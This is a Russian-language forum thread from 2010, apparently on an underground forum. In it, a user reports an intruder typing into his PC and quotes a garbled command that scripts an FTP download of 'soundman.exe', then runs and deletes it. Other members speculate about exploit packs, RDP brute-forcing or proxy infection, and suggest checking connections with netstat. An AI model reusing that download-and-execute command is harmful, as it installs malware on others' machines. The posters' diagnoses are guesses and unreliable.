такая вот хуйня

abckizaru

Professional

Messages

498

Reputation

87

Reaction score

161

Points

43

• Jul 3, 2010

• #1

Сидел вчера, не кого не трогал вбивал.
И тут давай браузер зум менять, и выдавать что то необычное.
Сижу смотрю что дальше, и тут давай в браузер писатся айпи и какие то команды, я быстрее закрыл.
Открыл блакнот с картоном, и туда кто то очень быстро начал писать вот это.
В самый конец как порядочно
ser 7778 25796 .. eq 7echo get soundman.exe .. eq 7echo quit .. eq 7ftp -n -s;eq 7soundman.exe 7del eq
Видно что не успели дописать, тот кто писал очень сильно торопился
Что это вообще за хуйня, отдел к?))

 

lord

Vendor of:,  Scans Service

Messages

38

Reputation

16

Reaction score

34

Points

18

• Jul 3, 2010

• #2

Точно сказать не могу, но возможен вариант, что ты попал на связку сплойтов которая пробивает процесс soundman.exe.

eq 7ftp -n -s;

Click to expand...

Вот это похоже на то, что на компе поднимали ftp =\

 

abckizaru

Professional

Messages

498

Reputation

87

Reaction score

161

Points

43

• Jul 3, 2010

• #3

спасибо плюсик поставил
да и в браузере что то писали типо такой команды

 

thefloyd

Professional

Messages

283

Reputation

31

Reaction score

52

Points

28

• Jul 3, 2010

• #4

Возмужно у тебя открыт порт 3389
Возможно тебя сбрутили как дедик.
Точно не отдел к.
У них методы посложнее

 

ismcard

Professional

Messages

523

Reputation

62

Reaction score

92

Points

28

• Jul 5, 2010

• #5

сори что влез а какие у отдела к методы опишите вкраце чтоб понимать если не сложно

 

Aels

VIP member

Messages

318

Reputation

46

Reaction score

81

Points

28

• Jul 5, 2010

• #6

ректальная криптография, и задержания торговцев порнушкой контрафактной на митинке.
вот и все методы.

обычно все-таки обэпу сдают такую работу.

а про чудеса с компом - поздравляю, ты почти стал соксом)
но видимо лоадер скосячил где-то.

 

Last edited: Jul 5, 2010

cosanostra777

Professional

Messages

148

Reputation

17

Reaction score

29

Points

28

• Jul 5, 2010

• #7

Офтоп но я бы упал на измену)

 

h0h0l

Professional

Messages

322

Reputation

41

Reaction score

46

Points

28

• Jul 5, 2010

• #8

в такой ситуации сразу отрубаем инет, дальше не торопясь читаем и, если непонятно, гуглим - что там незваный гость писал. после этого, как правило, дальнейший план действий проще определить.

 

G

greenstar

UNRESOLVED PROBLEMS

Messages

85

Reputation

9

Reaction score

11

Points

8

• Jul 5, 2010

• #9

ну и проверь свой комп на предмет наличия всяких радминов, и внц)

 

abckizaru

Professional

Messages

498

Reputation

87

Reaction score

161

Points

43

• Jul 5, 2010

• #10

нет такого нечего
он писал а я стирал то что он пишет

 

comm1x

VIP member

Messages

428

Reputation

74

Reaction score

116

Points

43

• Jul 6, 2010

• #11

в середине очередного рабочего вечера пробей что-нибудь типа "netstat -a > c:\1.txt" и потом покури подумай, что лишнее открыто и через что тебя могли прослушать

---------- Сообщение добавлено в 02:58 ---------- Предыдущее сообщение размещено в 02:54 ----------

если найдешь трой то пробей с атрибутами -o -b -v, там уже найдешь того кто слушает.. пс: с этими атрибутами команда выполняется около минуты, так что не торопись закрывать командер

 

Last edited: Jul 6, 2010

sergeyich

Professional

Messages

524

Reputation

11

Reaction score

36

Points

28

• Jul 6, 2010

• #12

А как узнать что как? Файлик создало, но как узнать что там куда маячит или нет.

 

comm1x

VIP member

Messages

428

Reputation

74

Reaction score

116

Points

43

• Jul 6, 2010

• #13

смотри какие порты открыты, открыты ли они в другое время, скажем после 10 минут запуска компа... что эти порты значат.. а с -обв ты узнаешь какой файл открыл этот порт... так например я вчера узнал что мой кип инфиум делает запросы к одному порносайту, кому интересно antares.relax.ru:5222 - болезнь всех кипов